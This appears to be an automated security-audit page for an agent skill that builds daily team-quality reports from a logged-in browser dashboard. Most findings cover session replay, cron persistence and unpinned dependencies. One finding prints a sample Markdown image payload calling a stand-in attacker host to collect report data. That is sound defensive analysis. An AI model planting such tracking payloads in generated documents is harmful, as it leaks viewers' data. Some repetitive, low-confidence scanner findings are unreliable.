ClawHub
Back to skill

Security audit

team-quality-daily-report

Security checks for vulnerabilities and agentic risk

Overview

This skill is a coherent daily-report generator, but it uses an authenticated browser session to capture and replay dashboard API requests and encourages scheduled runs without strong scoping or privacy safeguards.

Install only for a trusted internal dashboard and use a dedicated browser profile or automation account. Review config.json carefully, keep the dashboard URL and data API same-origin or explicitly approved, protect ~/openclaw-skill-data with restrictive permissions, and avoid enabling the cron job until retention and revocation are clear.

A.I.G

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
dist/index.js:15
Finding

Generated reports may be created with overly permissive filesystem permissions

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
dist/utils/report.js:1
Finding

API-controlled metric values are inserted into Markdown without escaping

Content
View full analysis
{ const value = row[index]; result[key] = (typeof value === "object" && value !== null && "v" in value) ? value.v : value; }); return result; } ``` The report generator interpolates those values directly into Markdown: ```js export function generateReport(todayData, diff, column) { let md = "# 团队质量日报\n\n"; md += "## 今日指标\n\n"; Object.entries(todayData).forEach(([k, v]) => { md += `- ${column[k] || k}: ${v}\n`; }); md += "\n"; if (diff && diff.length > 0) { md += "## 与昨日变化\n\n"; diff.forEach(d => { const percent = (d.change * 100).toFixed(2); md += `- ${d.field} 变化 ${percent}%\n`; }); } md += "\n## 结论\n\n"; md += "需要结合代码提交、发布记录和故障情况进行进一步分析。\n"; return md; } ``` ### Technical Analysis Values returned by the configured dashboard API are copied into `todayData` and interpolated into Markdown without escaping or validation. A value containing Markdown syntax or raw HTML can alter the structure and meaning of the generated report. Possible payloads include: ```markdown ![tracking](https://attacker.example/collect?id=REPORT_ID) ``` or: ```html Review required ``` When a generated report is opened, a Markdown renderer may load remote images, expose a viewer's IP address or other request metadata, display deceptive links, or process embedded HTML. Script execution depends on the renderer and it ...[truncated 1284 chars]
Remediation
View remediation
-])/g, "\\$1") .replace(//g, ">"); } ``` 4. Apply escaping to both `column[k]` and `v` before interpolation. 5. Disable raw HTML and remote-resource loading in the Markdown rendering environment. 6. If links are required, allow only explicitly approved URL schemes and destinations. 7. Add tests covering embedded HTML, remote images, links, line breaks, headings, and other Markdown metacharacters. ]]>

SkillSpector

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (24)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The stated purpose sounds like simple report generation, but the documented workflow includes browser access to a dashboard, capture of XHR payloads from a live session, external API calls, and persistent local file I/O. That mismatch is dangerous because it obscures sensitive behaviors that may rely on user credentials/session context and may exfiltrate or persist internal operational data without sufficiently informed consent.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The stated purpose sounds like simple report generation, but the documented workflow includes browser access to a dashboard, capture of XHR payloads from a live session, external API calls, and persistent local file I/O. That mismatch is dangerous because it obscures sensitive behaviors that may rely on user credentials/session context and may exfiltrate or persist internal operational data without sufficiently informed consent.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The stated purpose sounds like simple report generation, but the documented workflow includes browser access to a dashboard, capture of XHR payloads from a live session, external API calls, and persistent local file I/O. That mismatch is dangerous because it obscures sensitive behaviors that may rely on user credentials/session context and may exfiltrate or persist internal operational data without sufficiently informed consent.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The stated purpose sounds like simple report generation, but the documented workflow includes browser access to a dashboard, capture of XHR payloads from a live session, external API calls, and persistent local file I/O. That mismatch is dangerous because it obscures sensitive behaviors that may rely on user credentials/session context and may exfiltrate or persist internal operational data without sufficiently informed consent.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

The stated purpose sounds like simple report generation, but the documented workflow includes browser access to a dashboard, capture of XHR payloads from a live session, external API calls, and persistent local file I/O. That mismatch is dangerous because it obscures sensitive behaviors that may rely on user credentials/session context and may exfiltrate or persist internal operational data without sufficiently informed consent.

Content

No source excerpt is available for this finding.

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 34)May include surrounding context.

md
node dist/index.js

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The README explicitly describes connecting to an existing Chrome session to reuse login state and then intercepting/reporting data, but it does not warn about the privacy and security implications of operating inside an already-authenticated browser context. This can expose unrelated cookies, session tokens, or sensitive in-browser data if the skill is misconfigured, overbroad, or run against untrusted dashboards.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
85% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · README.md (reported line 126)May include surrounding context.

通过 cron 每天自动生成日报：

bash
crontab -e

添加：

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
88% confidence
Finding

The skill documentation declares no explicit tool scope or permission boundaries even though the described behavior clearly involves network access and likely access to authenticated browser/session context. This creates a transparency and governance gap: an agent may invoke networked/browser-capable code without users or policy systems being able to constrain or review those capabilities up front.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The skill description omits prominent warnings that it captures API request payloads from a browser session, calls external APIs, and stores report data locally. In this context, those actions can expose internal endpoints, query structures, tokens/session-derived data, and sensitive team metrics, making the lack of disclosure materially risky for informed consent and safe deployment.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The invocation phrases are broad and provide no boundaries such as requiring prior configuration, trusted dashboard domains, or user confirmation before accessing internal systems and writing local files. Overbroad triggers increase the chance the agent runs this skill in unintended contexts, causing unauthorized network access, data collection, or local persistence of sensitive metrics.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The code's user-facing comments and console messages are consistently written in Chinese, including operational errors and instructions. This imposes a specific language on users without offering a language choice or documenting that the skill is intentionally limited to a Chinese-speaking context.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The code goes beyond passive report generation by automating a logged-in browser session, detecting authentication state, capturing outbound request payloads, and replaying API calls directly. In a reporting skill this may be functionally useful, but it materially expands access and data-handling capability, increasing the risk of collecting or reusing authenticated data in ways users may not expect.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

Intercepting requests and parsing POST bodies allows the skill to extract potentially sensitive parameters, filters, identifiers, or other business data from a live authenticated session. Even if intended to bootstrap report queries, this is a sensitive capability because it silently harvests request contents from the user's browser context without clear necessity or boundary checks.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The captured POST payload is taken from an authenticated page request and processed internally without any visible disclosure, consent, or indication of what data is being extracted. That creates a transparency and privacy risk because users may believe the tool only renders a report page rather than inspecting and reusing underlying request bodies.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

The skill reuses captured payload data in a secondary POST request, effectively transmitting authenticated query parameters over the network without any user-facing warning. This can expose sensitive report filters or internal data selectors to endpoints chosen by configuration, and it normalizes replay of browser-derived data outside the original request flow.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
95% confidence
Finding

The README states that collected data and generated reports are written to persistent local storage, but it does not warn users that potentially sensitive quality metrics will remain on disk. Persistent storage increases the risk of unintended disclosure through shared machines, backups, lax file permissions, or later compromise of the host.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
81% confidence
Finding

The natural-language values for the report name and all column labels are exclusively in Chinese, and the file provides no indication that this skill is region-specific or that users can choose another language. Under the stated policy, forcing a specific language without opt-in can be a locale-policy issue.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
97% confidence
Finding

The error and status messages shown to users are written only in Chinese, which imposes a specific language without any visible opt-in or fallback. This can violate language or locale policy when the skill is not clearly documented as region-specific.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
97% confidence
Finding

This JavaScript file generates user-facing report text entirely in Chinese, including headings and explanatory content. Because the skill does not provide any language selection or state that it is intentionally limited to a Chinese-language context, it appears to force a specific language without user opt-in.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
95% confidence
Finding

The dependency uses a caret range, which allows newer minor/patch releases to be installed without explicit review. This creates a supply-chain risk because builds may become non-reproducible and could unexpectedly pull in a compromised or breaking release of a shared internal package.

Content

Scanner excerpt · package.json (reported line 15)May include surrounding context.

json
"config.example.json"
  ],
  "dependencies": {
    "@bondli-skills/shared": "^1.0.0",
    "puppeteer": "^22.0.0",
    "puppeteer-core": "^22.15.0"
  },

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
97% confidence
Finding

The puppeteer dependency is not pinned and can resolve to different versions over time, increasing the risk of consuming a vulnerable or malicious upstream release. Because this package drives browser automation, dependency drift can also expand attack surface in environments that execute the skill automatically.

Content

Scanner excerpt · package.json (reported line 16)May include surrounding context.

json
],
  "dependencies": {
    "@bondli-skills/shared": "^1.0.0",
    "puppeteer": "^22.0.0",
    "puppeteer-core": "^22.15.0"
  },
  "license": "MIT"

Unverifiable Dependency: puppeteer has 1 known advisory(ies) (CVE-2019-5786 (Use-After-Free in puppeteer)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding

Dependency has known vulnerabilities (CVEs). Using packages with unpatched security flaws exposes the environment to known exploits.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
97% confidence
Finding

Using a version range for puppeteer-core permits unreviewed updates to a security-sensitive browser automation library. In automated agent workflows, this can introduce supply-chain risk and inconsistent runtime behavior across environments.

Content

Scanner excerpt · package.json (reported line 17)May include surrounding context.

json
"dependencies": {
    "@bondli-skills/shared": "^1.0.0",
    "puppeteer": "^22.0.0",
    "puppeteer-core": "^22.15.0"
  },
  "license": "MIT"
}

Static analysis

No suspicious patterns detected.